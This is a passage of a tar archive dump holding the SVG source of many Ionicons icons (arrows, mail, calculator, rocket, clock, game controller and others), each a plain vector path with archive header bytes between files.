47.3 60.6 33.6-6.7 4.1-81.6 10.1-7.9L287.6 464l36.5-40.9-7.9-159.7s108.6-146.7 120.6-162C462.7 67.8 464 48 464 48z"/></svg>ionicons/svg/md-arrow-dropleft-circle.svg000064400000000307151701353760014521 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 256c0-114.875-93.125-208-208-208S48 141.125 48 256s93.125 208 208 208 208-93.125 208-208zm-272 0l96-96v192l-96-96z"/></svg>ionicons/svg/ios-arrow-up.svg000064400000000401151701353760012254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 217.9L383 345c9.4 9.4 24.6 9.4 33.9 0 9.4-9.4 9.3-24.6 0-34L273 167c-9.1-9.1-23.7-9.3-33.1-.7L95 310.9c-4.7 4.7-7 10.9-7 17s2.3 12.3 7 17c9.4 9.4 24.6 9.4 33.9 0l127.1-127z"/></svg>ionicons/svg/ios-videocam.svg000064400000000620151701353760012272 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.6 153.6c-3.3 0-6.5.9-9.3 2.7l-86.5 54.6c-2.5 1.6-4 4.3-4 7.2v76c0 2.9 1.5 5.6 4 7.2l86.5 54.6c2.8 1.7 6 2.7 9.3 2.7h20.8c4.8 0 8.6-3.8 8.6-8.5v-188c0-4.7-3.9-8.5-8.6-8.5h-20.8zM273.5 384h-190C55.2 384 32 360.8 32 332.6V179.4c0-28.3 23.2-51.4 51.4-51.4h190c28.3 0 51.4 23.2 51.4 51.4v153.1c.1 28.3-23 51.5-51.3 51.5z"/></svg>ionicons/svg/md-mail-unread.svg000064400000000573151701353760012516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="432" cy="128" r="64"/><path d="M382.9 203.4L256 288 80 170.7V128l176 117.3 101.1-67.4c-9.5-14.3-15.1-31.5-15.1-49.9 0-17.6 5.1-34.1 13.9-48H74.7C51.2 80 32 99.2 32 122.7v266.7c0 23.5 19.2 42.7 42.7 42.7h362.7c23.5 0 42.7-19.2 42.7-42.7V204.1c-13.9 8.8-30.4 13.9-48 13.9-18.2 0-35.1-5.4-49.2-14.6z"/></svg>ionicons/svg/ios-calculator.svg000064400000001547151701353760012645 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M372 48H140c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h232c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zm-12 272v80c0 13.3-10.7 24-24 24s-24-10.7-24-24v-80c0-13.3 10.7-24 24-24s24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm-80 160c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm-80 160c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm-48-80v-48c0-8.8 7.2-16 16-16h176c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H168c-8.8 0-16-7.2-16-16z"/></svg>ionicons/svg/ios-rocket.svg000064400000001555151701353760012002 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M461.8 53.6c-.4-1.7-1.6-3-3.3-3.4-54.4-13.3-180.1 34.1-248.2 102.2-13.3 13.3-24.2 26.4-33.1 39.1-21-1.9-42-.3-59.9 7.5-50.5 22.2-65.2 80.2-69.3 105.1-1 5.9 3.9 11 9.8 10.4l81.1-8.9c.1 7.8.6 14 1.1 18.3.4 4.2 2.3 8.1 5.3 11.1l31.4 31.4c3 3 6.9 4.9 11.1 5.3 4.3.5 10.5 1 18.2 1.1l-8.9 81c-.6 5.9 4.5 10.8 10.4 9.8 24.9-4 83-18.7 105.1-69.2 7.8-17.9 9.4-38.8 7.6-59.7 12.7-8.9 25.9-19.8 39.2-33.1 68.4-68 115.5-190.9 102.4-248zM298.6 213.5c-16.7-16.7-16.7-43.7 0-60.4 16.7-16.7 43.7-16.7 60.4 0 16.7 16.7 16.7 43.7 0 60.4-16.7 16.7-43.7 16.7-60.4 0z"/><path d="M174.5 380.5c-4.2 4.2-11.7 6.6-19.8 8-18.2 3.1-34.1-12.8-31-31 1.4-8.1 3.7-15.6 7.9-19.7l.1-.1c2.3-2.3.4-6.1-2.8-5.7-9.8 1.2-19.4 5.6-26.9 13.1-18 18-19.7 84.8-19.7 84.8s66.9-1.7 84.9-19.7c7.6-7.6 11.9-17.1 13.1-26.9.3-3.2-3.6-5.1-5.8-2.8z"/></svg>ionicons/svg/md-checkmark-circle.svg000064400000000362151701353760013503 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm-42.7 318.9L106.7 260.3l29.9-29.9 76.8 76.8 162.1-162.1 29.9 29.9-192.1 191.9z"/></svg>ionicons/svg/md-clock.svg000064400000002645151701353760011415 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.1 108.9c-81.2-81.2-212.9-81.2-294.2 0-81.3 81.2-81.2 212.9 0 294.2 81.2 81.2 212.9 81.2 294.2 0 81.2-81.2 81.2-213 0-294.2zm-16.5 53.2c7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.6 1.8 17.5-5.9 21.9-7.6 4.4-17.5 1.8-21.9-5.9-4.4-7.6-1.8-17.5 5.9-21.9zM80 256c0-8.8 7.2-16 16-16s16 7.2 16 16-7.2 16-16 16-16-7.2-16-16zm45.4 93.9c-7.6 4.4-17.5 1.8-21.9-5.9-4.4-7.6-1.8-17.5 5.9-21.9 7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.6 1.8 17.5-5.9 21.9zm5.9-165.9c-4.4 7.6-14.2 10.3-21.9 5.9-7.6-4.4-10.3-14.2-5.9-21.9 4.4-7.6 14.2-10.3 21.9-5.9 7.7 4.4 10.3 14.3 5.9 21.9zm36.7-80.4c7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.6 1.8 17.5-5.9 21.9s-17.5 1.8-21.9-5.9c-4.4-7.7-1.7-17.5 5.9-21.9zm-7.8 110.7l15.6-26.6 95.2 56.9V384h-31V260.6l-79.8-46.3zm29.7 188.3c-4.4 7.6-14.2 10.3-21.9 5.9s-10.3-14.2-5.9-21.9c4.4-7.6 14.2-10.3 21.9-5.9 7.6 4.4 10.3 14.2 5.9 21.9zM256 432c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-320c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm88 296.4c-7.6 4.4-17.5 1.8-21.9-5.9-4.4-7.6-1.8-17.5 5.9-21.9 7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.7 1.7 17.5-5.9 21.9zm5.9-283c-4.4 7.6-14.2 10.3-21.9 5.9s-10.3-14.2-5.9-21.9c4.4-7.6 14.2-10.3 21.9-5.9s10.3 14.3 5.9 21.9zM408.4 344c-4.4 7.6-14.2 10.3-21.9 5.9-7.6-4.4-10.3-14.2-5.9-21.9 4.4-7.6 14.2-10.3 21.9-5.9 7.7 4.4 10.3 14.3 5.9 21.9zm7.6-72c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/></svg>ionicons/svg/md-image.svg000064400000000475151701353760011403 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 405.333V106.667C448 83.198 428.802 64 405.333 64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333zM181.333 288l53.334 64 74.666-96 96 128H106.667l74.666-96z"/></svg>ionicons/svg/md-mail-open.svg000064400000000515151701353760012175 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 201.667c0-14.933-7.469-28.803-20.271-36.266L256 64 52.271 165.401C40.531 172.864 32 186.734 32 201.667v203.666C32 428.802 51.197 448 74.666 448h362.668C460.803 448 480 428.802 480 405.333V201.667zM256 304L84.631 192 256 106.667 427.369 192 256 304z"/></svg>ionicons/svg/ios-laptop.svg000064400000000740151701353760012005 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 367.5V129.1c0-9.4-7.9-17.1-17.2-17.1H81.2c-9.3 0-17.2 7.6-17.2 17.1v238.4H15.9c0 9.9 9.9 18.8 18.9 22.7C45.7 394.8 64 400 84 400h344c20 0 38.2-4.5 48.3-8.8 9.5-4 19.8-13.4 19.8-23.7H448zM256 120c2.2 0 4 1.8 4 4s-1.8 4-4 4-4-1.8-4-4 1.8-4 4-4zM82 136.2h348c1.1 0 2 .9 2 2v211.3c0 1.1-.9 2-2 2H82c-1.1 0-2-.9-2-2V138.2c0-1.2.9-2 2-2zm216.3 239.3h-84.6c-5.2 0-9.7-6-9.7-7.5h104c0 1.5-3 7.5-9.7 7.5z"/></svg>ionicons/svg/ios-document.svg000064400000000527151701353760012327 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M312 155h91c2.8 0 5-2.2 5-5 0-8.9-3.9-17.3-10.7-22.9L321 63.5c-5.8-4.8-13-7.4-20.6-7.4-4.1 0-7.4 3.3-7.4 7.4V136c0 10.5 8.5 19 19 19z"/><path d="M267 136V56H136c-17.6 0-32 14.4-32 32v336c0 17.6 14.4 32 32 32h240c17.6 0 32-14.4 32-32V181h-96c-24.8 0-45-20.2-45-45z"/></svg>ionicons/svg/ios-appstore.svg000064400000001563151701353760012347 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm-78.9 296.9c-2.7 4.6-7.5 7.1-12.5 7.1-2.5 0-5-.6-7.3-2-6.9-4-9.2-12.8-5.2-19.7l14.2-23.6c1.5-2.5 4.1-4 7-4h2.1c10.3 0 17.5 6.2 19.6 12.2l-17.9 30zm120.2-46.4l-93 .1h-61.8c-8.2 0-14.8-6.8-14.4-15 .3-7.8 7.1-13.7 14.9-13.7h44.8l53.1-90.4-17.2-29.3c-3.9-6.7-2.2-15.5 4.4-19.7 7-4.5 16.2-2.2 20.3 4.8l9.2 15.7h.1l9.2-15.7c4.1-7 13.4-9.3 20.3-4.8 6.6 4.2 8.3 13 4.4 19.7l-17.2 29.3-16.7 28.5-36.3 61.9v.1h53.5c6.7 0 15.1 3.6 18.5 9.4l.3.6c3 5.1 4.7 8.6 4.7 13.7-.1 2.8-1.1 4.8-1.1 4.8zm72.2.1h-25.2v.1l18.4 31.3c4 6.8 2.1 15.8-4.8 20-2.3 1.4-4.9 2.1-7.5 2.1-5 0-9.8-2.6-12.5-7.1l-27.2-46.3-16.9-28.8-21.8-37.3c-6.4-10.9-6.7-24.5-.6-35.3 4.3-7.6 7.6-9.6 7.6-9.6l48.5 82.1h41.7c7.8 0 14.5 6 14.9 13.7.3 8.3-6.3 15.1-14.6 15.1z"/></svg>ionicons/svg/md-move.svg000064400000000276151701353760011266 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 256l-96-96v64h-96v-96h64l-96-96-96 96h64v96h-96v-64l-96 96 96 96v-64h96v96h-64l96 96 96-96h-64v-96h96v64z"/></svg>ionicons/svg/ios-contacts.svg000064400000002602151701353760012323 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm143.3 263.9c-8.1-2.6-23.7-3.4-29.5-10.4-2.9-3.5-1-16.6-1-16.6 25.2-1.4 31-6.1 31-6.1 3.9-2.3 2.1-2.7.1-6.1-10.9-18.3-6-41.5-6.5-61.6-.4-16.7-4.8-35-20-44.4-7.6-4.7-19.7-6.9-31.4-6.9-9.5 0-18.7 1.4-25.3 4.1-42.4 17-17.4 73.2-31.9 105.4-2.5 5.4-6.1 7.3.2 10.5 0 0 7.5 4.4 28.9 6.3 0 0 .3 12.6 0 13.9-1.1 4.9-11.8 8.3-15.8 9.4-2.7.7-8.7 2.5-16.4 5.7-3.7 1.5-3.1 6.9.8 7.6 3.9.7 8.1 1.7 11.5 2.9 0 0 26.4 6 46 25 13.2 12.7 18.1 27.6 20 44.6.5 4.5-1.7 8.9-5.5 11.5l-5.7 3.6c-1.9 1.1-4.2-.2-4.3-2.4 0-29.5-17.8-55.5-45.8-65.2-13.5-4.7-28.1-5-41.6-9.7-4.1-1.4-12.2-3.1-13.9-7.8-1.6-4.6-1.6-10-1.9-14.8-.2-3.8-.3-7.6-.3-11.4 0-2.5 6.4-7.8 7.8-10.1 5.4-9 5.9-21.1 6.9-31.3 8.7 2.4 9.8-13.7 11.3-18.6 1.1-3.4 5-20.9-2.6-23.6 2.5-4.4 3.5-9.8 4.2-14.7 2-12.8 2.8-26.8-1.1-39.3-8.1-26-33-40.6-59.3-41.4-26.7-.9-53.5 11.9-63.5 37.8-4.8 12.6-4.4 26.3-2.8 39.5.7 6 1.7 12.7 4.7 18.1-6.4 2.8-4.5 17.7-3.4 21.3 1.6 5.1 3 23.4 12.1 20.9.8 8.1 1.7 16.4 3.9 24.3 1.5 5.3 4.6 9.8 8.2 13.9 1.8 2 2.7 2.2 2.6 4.8-.1 7.8.1 16.2-1.9 23.8s-18.7 10.8-25.4 12.2c-14.8 3-28.6 4.7-41.4 11.5C84.8 320.6 76 289 76 256c0-47.9 19.2-94 53.2-127.7C162.7 95 207.1 76.4 254.3 76c47.6-.4 93.7 18.1 127.8 51.5 34.8 34.1 54 79.9 54 128.5 0 24.9-5 48.9-14.5 71.1-5.6-7-13.4-12.3-22.3-15.2z"/></svg>ionicons/svg/md-photos.svg000064400000000654151701353760011634 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M400 421.3V154.7c0-23.5-19.2-42.7-42.7-42.7H90.7C67.2 112 48 131.2 48 154.7v266.7c0 23.5 19.2 42.7 42.7 42.7h266.7c23.4-.1 42.6-19.3 42.6-42.8zM157.3 304l45.3 64 66.7-96 88 128H90.7l66.6-96z"/><path d="M421.3 48H154.7C131.2 48 112 67.2 112 90.7V96h261.3c23.5 0 42.7 19.2 42.7 42.7V400h5.3c23.5 0 42.7-19.2 42.7-42.7V90.7c0-23.5-19.2-42.7-42.7-42.7z"/></svg>ionicons/svg/ios-arrow-back.svg000064400000000401151701353760012530 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M217.9 256L345 129c9.4-9.4 9.4-24.6 0-33.9-9.4-9.4-24.6-9.3-34 0L167 239c-9.1 9.1-9.3 23.7-.7 33.1L310.9 417c4.7 4.7 10.9 7 17 7s12.3-2.3 17-7c9.4-9.4 9.4-24.6 0-33.9L217.9 256z"/></svg>ionicons/svg/ios-medal.svg000064400000001547151701353760011576 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M50 124c-1.1 0-2 .9-2 2v59.9c0 14.4 9.6 27 23.4 30.8l104 29.4c1.3.4 2.5-.6 2.5-1.9V126c0-1.1-.9-2-2-2H50zM204 126v126.2c0 .9.6 1.7 1.5 1.9l50 13.9c.4.1.7.1 1.1 0l56-15.6c.9-.2 1.5-1 1.5-1.9V126c0-1.1-.9-2-2-2H206c-1.1 0-2 .9-2 2zM334 126v119.2c0 1.3 1.3 2.3 2.6 1.9l104-30.4c13.8-3.9 23.4-16.5 23.4-30.8V126c0-1.1-.9-2-2-2H336c-1.1 0-2 .9-2 2zM48 64v38c0 1.1.9 2 2 2h412c1.1 0 2-.9 2-2V64c0-17.7-14.3-32-32-32H80c-17.7 0-32 14.3-32 32z"/><g><circle cx="256" cy="352" r="56"/><path d="M351.3 266.6l-51.5 13.8c24 14.8 40.1 41.3 40.1 71.6 0 46.3-37.7 84-84 84s-84-37.7-84-84c0-30.4 16.2-57 40.4-71.8L161 266.1c-20.5 22.7-33 52.8-33 85.9 0 70.7 57.3 128 128 128s128-57.3 128-128c0-32.8-12.4-62.7-32.7-85.4z"/><path d="M256 296c30.9 0 56 25.1 56 56s-25.1 56-56 56-56-25.1-56-56 25.1-56 56-56z"/></g></svg>ionicons/svg/ios-image.svg000064400000001221151701353760011563 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M112.6 312.3h190.7c4.5 0 7.1-5.1 4.5-8.8l-95.4-153.4c-2.2-3.2-6.9-3.2-9.1 0L108 303.5c-2.6 3.7.1 8.8 4.6 8.8zM306.7 254.3l35 55.7c1 1.5 2.7 2.4 4.5 2.4h53.2c4.5 0 7.1-5.1 4.5-8.8l-61.6-87.7c-2.2-3.2-6.9-3.2-9.1 0L306.6 248c-1.2 1.8-1.2 4.3.1 6.3zM351.1 167.9c13.1-1.3 23.7-11.9 25-25 1.8-17.7-13-32.5-30.7-30.7-13.1 1.3-23.7 11.9-25 25-1.7 17.7 13 32.5 30.7 30.7z"/><path d="M432 48H80c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h352c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zm-2.7 280c0 4.4-3.6 8-8 8H90.7c-4.4 0-8-3.6-8-8V90.7c0-4.4 3.6-8 8-8h330.7c4.4 0 8 3.6 8 8V328z"/></svg>ionicons/svg/md-text.svg000064400000000407151701353760011300 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M408 64H96c-22.002 0-32 17.998-32 40v344l64-64h280c22.002 0 40-17.998 40-40V104c0-22.002-17.998-40-40-40zM198.4 242H160v-40h38.4v40zm76.8 0h-38.4v-40h38.4v40zm76.8 0h-38.4v-40H352v40z"/></svg>ionicons/svg/ios-return-left.svg000064400000001026151701353760012753 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M70.5 265.4l59.6-59.4c2.6-2.6 6.1-4.1 9.9-4.1 3.7 0 7.3 1.4 9.9 4.1 2.6 2.6 4.1 6.1 4.1 9.9s-1.5 7.3-4.1 9.9l-.1.1-41.1 40.1H370c13.2 0 25.8-5.2 35.3-14.7 9.5-9.4 14.7-21.9 14.7-35.3v-48c0-7.7 6.3-14 14-14s14 6.3 14 14v48c0 20.8-8.1 40.3-22.9 55.1-14.8 14.8-34.3 22.9-55.1 22.9H108.3l39.6 40.2c2.6 2.6 4.1 6.1 4.1 9.9 0 3.7-1.4 7.3-4.1 9.9l-.1.1c-2.7 2.5-6.2 3.9-9.8 3.9-3.9 0-7.3-1.4-9.9-4.1l-57.6-57.4c-4.2-4.2-6.5-9.8-6.5-15.7 0-5.8 2.3-11.3 6.5-15.4z"/></svg>ionicons/svg/ios-cafe.svg000064400000001275151701353760011410 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.7 404H110.1c-7.6 0-14.1 5.8-14.4 13.4-.4 8 6 14.6 14 14.6h259.6c7.6 0 14.1-5.8 14.4-13.4.3-8-6.1-14.6-14-14.6zM399.2 118.5c.1-10.8-4.2-20.9-12.2-28.4-7.2-6.6-16.7-10.1-26.5-10.1H86.8c-9.9 0-19.7 3.6-26.9 10.4-8.1 7.7-12.4 18.2-11.9 29.3C50.4 172 58.3 218 71.8 256.3c11 31.6 25.8 58.1 43.9 78.9 31.8 36.6 68.8 48.8 77.9 48.8h60.1c5.5 0 25-7.2 44.2-19.5 22.4-14.4 42.4-36.7 58.1-64.6 2 .1 4 .2 5.9.2 27.2 0 52.8-9.7 72.1-27.4 19.4-17.8 30.1-41.4 30.1-66.6-.1-38.9-25.9-73.5-64.9-87.6zm-29.7 153.1c14.2-34.5 23.6-76 27.8-123.4 0 0 0-.1.1 0 10.3 5 19.1 12.2 25.8 20.9 8.4 10.9 12.8 23.7 12.8 37 0 34-29.2 62.1-66.5 65.5z"/></svg>ionicons/svg/md-basket.svg000064400000000721151701353760011564 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.1 205.2L272.9 72.5C269 66.8 262.5 64 256 64c-6.5 0-13 2.8-16.9 8.7l-89.2 132.5H52.4c-11.2 0-20.4 9.1-20.4 20.2 0 1.8.2 3.6.8 5.5l51.7 187.5c4.7 17 20.4 29.5 39.1 29.5h264.7c18.7 0 34.4-12.5 39.3-29.5l51.7-187.5.6-5.5c0-11.1-9.2-20.2-20.4-20.2h-97.4zm-167.2 0l61.1-89 61.1 89H194.9zM256 367.1c-22.4 0-40.7-18.2-40.7-40.5s18.3-40.5 40.7-40.5 40.7 18.2 40.7 40.5-18.3 40.5-40.7 40.5z"/></svg>ionicons/svg/md-pricetags.svg000064400000000673151701353760012302 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M442 107v141L229.2 451.7c8 8 20.8 12.3 28.8 12.3s22.8-3.7 31.4-12.3L480 272V144l-38-37z"/><path d="M384 48H224L44.3 235.6c-8 8-12 17.8-12.3 28.4-.3 11.3 3.7 23.3 12.3 31.9l123.8 123.6c8 8 20.8 12.5 28.8 12.5s22.7-3.9 31.3-12.5L416 240V80l-32-32zm-30.7 102.7c-21.7 6.1-41.3-10-41.3-30.7 0-17.7 14.3-32 32-32 20.7 0 36.8 19.6 30.7 41.3-2.9 10.3-11.1 18.5-21.4 21.4z"/></svg>ionicons/svg/md-flower.svg000064400000001123151701353760011606 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.1 256c25.2-11.9 42.9-37.1 42.9-66.9 0-41-33.6-74.3-75-74.3-15.9 0-30.3 4.8-42.6 13.1l.6-5.6c0-41-33.6-74.3-75-74.3s-75 33.3-75 74.3l.6 5.6c-12-8.3-26.7-13.1-42.6-13.1-41.4 0-75 33.3-75 74.3 0 29.7 17.7 55 42.9 66.9C81.7 267.9 64 293.1 64 322.9c0 41 33.6 74.3 75 74.3 15.9 0 30.3-4.8 42.6-13.1l-.6 5.6c0 41 33.6 74.3 75 74.3s75-33.3 75-74.3l-.6-5.6c12 8.3 26.7 13.1 42.6 13.1 41.4 0 75-33.3 75-74.3 0-29.8-17.7-55-42.9-66.9zM256 330.3c-41.4 0-75-33.3-75-74.3s33.6-74.3 75-74.3 75 33.3 75 74.3-33.6 74.3-75 74.3z"/></svg>ionicons/svg/ios-thunderstorm.svg000064400000000723151701353760013245 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M374.4 141.9l-13.3-.1C349.4 88.2 306 48 236 48S108.2 98.4 108.2 169.5l.3 4.8C66.3 179.9 32 219.6 32 264c0 47 37.9 88 84.7 88H236l13.8-50.6H183c-2.6 0-4.5-2.4-3.9-4.9l23.2-113c.4-1.8 2-3.1 3.9-3.1h86.1c2.7 0 4.6 2.6 3.8 5.2l-22.5 74.9h60.1c3.1 0 5.1 3.5 3.4 6.1L283.4 352H367c72 0 113-52 113-110 0-58.6-47.3-100.1-105.6-100.1zM206.8 458.9c-1.2 4.4 4.8 7 7.2 3.2L283.4 352H236l-29.2 106.9z"/></svg>ionicons/svg/ios-paw.svg000064400000001770151701353760011301 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M324.3 80.3c-1.2-.2-2.4-.3-3.6-.3v.4-.3h-.4c-22 0-42.9 25.9-47.8 60.3-5.3 36.6 9.4 69 32.7 72.4 1.3.2 2.7.3 4 .3 22 0 42.9-25.9 47.8-60.3 5.3-36.7-9.4-69.1-32.7-72.5zM320.6 80zM442.3 169.4c-3.5-1.4-7.1-2.1-10.9-2.1h-.4c-19.7.3-41.8 19.2-53.4 47.8-13.9 34.2-7.5 69.2 14.4 78.2 3.5 1.4 7.1 2.1 10.9 2.1 19.8 0 42.2-19 53.9-47.8 13.8-34.2 7.3-69.2-14.5-78.2zM327.6 295.4c-27.8-43.6-39.8-60-71.6-60s-43.9 16.5-71.7 60c-23.8 37.2-71.9 40.3-83.9 71.9-2.4 5.6-3.6 11.7-3.6 18.2 0 25.7 20.8 46.5 46.4 46.5 31.8 0 75.1-24 112.9-24s80.9 24 112.7 24c25.6 0 46.3-20.8 46.3-46.5 0-6.5-1.3-12.6-3.7-18.2-12-31.7-60-34.7-83.8-71.9zM202.8 213c1.3 0 2.7-.1 4-.3 23.4-3.4 38-35.8 32.7-72.4-5-34.5-25.9-60.3-47.8-60.3-1.3 0-2.7.1-4 .3-23.4 3.4-38 35.8-32.7 72.4 5 34.4 25.9 60.3 47.8 60.3zM120.1 293.3c21.9-9 28.3-44 14.4-78.2-11.7-28.8-34.1-47.8-53.9-47.8-3.8 0-7.4.7-10.9 2.1-21.9 9-28.3 44-14.4 78.2 11.7 28.8 34.1 47.8 53.9 47.8 3.8 0 7.4-.7 10.9-2.1z"/></svg>ionicons/svg/logo-game-controller-b.svg000064400000002135151701353760014165 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M135.1 204.6c-10.7 0-19.3 8.7-19.3 19.4s8.7 19.4 19.3 19.4c10.6 0 19.3-8.7 19.3-19.4s-8.6-19.4-19.3-19.4z"/><path d="M466.3 248.9c-21.2-88.5-43.6-135.5-88.5-148.8-9.8-2.9-18.1-4-25.7-4-27.6 0-46.9 14.7-96.1 14.7-49.2 0-68.5-14.7-96.1-14.7-7.7 0-16 1.1-25.7 4-44.9 13.3-67.3 60.4-88.5 148.8-21.2 88.5-17.3 152.4 7.7 164.3 4.1 1.9 8.2 2.8 12.5 2.8 21.7 0 45.1-23.8 67.7-52 25.7-32.1 32.1-33 110.3-33h24.3c78.1 0 84.6.8 110.3 33 22.5 28.2 46 52 67.7 52 4.2 0 8.4-.9 12.5-2.8 24.9-12 28.7-75.9 7.6-164.3zm-331.1 14.7c-21.6 0-39.2-17.8-39.2-39.6s17.6-39.6 39.2-39.6c21.7 0 39.2 17.8 39.2 39.6.1 21.9-17.5 39.6-39.2 39.6zm172.9-19.5c-11.1 0-20.1-9-20.1-20.1 0-11.1 9-20.1 20.1-20.1 11.1 0 20.1 9 20.1 20.1 0 11.1-9 20.1-20.1 20.1zM352 288c-11.1 0-20.1-9-20.1-20 0-11.2 9-20.1 20.1-20.1 11.1 0 20.1 8.9 20.1 20.1 0 11-9 20-20.1 20zm0-87.8c-11.1 0-20.1-9-20.1-20.1 0-11.1 9-20.1 20.1-20.1 11.1 0 20.1 9 20.1 20.1 0 11.1-9 20.1-20.1 20.1zm43.9 43.9c-11.1 0-20.1-9-20.1-20.1 0-11.1 9-20.1 20.1-20.1 11.1 0 20.1 9 20.1 20.1 0 11.1-9 20.1-20.1 20.1z"/></svg>ionicons/svg/ios-search.svg000064400000001026151701353760011751 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M443.5 420.2L336.7 312.4c20.9-26.2 33.5-59.4 33.5-95.5 0-84.5-68.5-153-153.1-153S64 132.5 64 217s68.5 153 153.1 153c36.6 0 70.1-12.8 96.5-34.2l106.1 107.1c3.2 3.4 7.6 5.1 11.9 5.1 4.1 0 8.2-1.5 11.3-4.5 6.6-6.3 6.8-16.7.6-23.3zm-226.4-83.1c-32.1 0-62.3-12.5-85-35.2-22.7-22.7-35.2-52.9-35.2-84.9 0-32.1 12.5-62.3 35.2-84.9 22.7-22.7 52.9-35.2 85-35.2s62.3 12.5 85 35.2c22.7 22.7 35.2 52.9 35.2 84.9 0 32.1-12.5 62.3-35.2 84.9-22.7 22.7-52.9 35.2-85 35.2z"/></svg>ionicons/svg/logo-euro.svg000064400000000751151701353760011630 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M234 272v-48h131.094l7.149-48H234v-1.83c0-35.92 14.975-58.086 79.25-58.086 26.264 0 55.867 2.498 93.189 8.742L416 59.866C377.988 51.123 345.306 48 310.057 48 195.326 48 146 89.225 146 165.43V176H96v48h50v48H96v48h50v26.57C146 422.774 195.297 464 310.027 464c35.25 0 67.848-3.123 105.859-11.866l-9.619-64.96c-37.322 6.244-66.781 8.742-93.045 8.742-64.276 0-79.223-18.739-79.223-63.086V320h116.795l7.148-48H234z"/></svg>ionicons/svg/md-git-network.svg000064400000001162151701353760012565 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 96c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 23.6 12.9 44.3 32 55.4v52.8l-96 48-96-48v-52.8c19.1-11.1 32-31.8 32-55.4 0-35.3-28.7-64-64-64S64 60.7 64 96c0 23.6 12.9 44.3 32 55.4v92.4l128 64v52.8c-19.1 11.1-32 31.8-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.6-12.9-44.3-32-55.4v-52.8l128-64v-92.4c19.1-11.1 32-31.8 32-55.4zM128 56c22.1 0 40 17.9 40 40s-17.9 40-40 40-40-17.9-40-40 17.9-40 40-40zm128 400c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zm128-320c-22.1 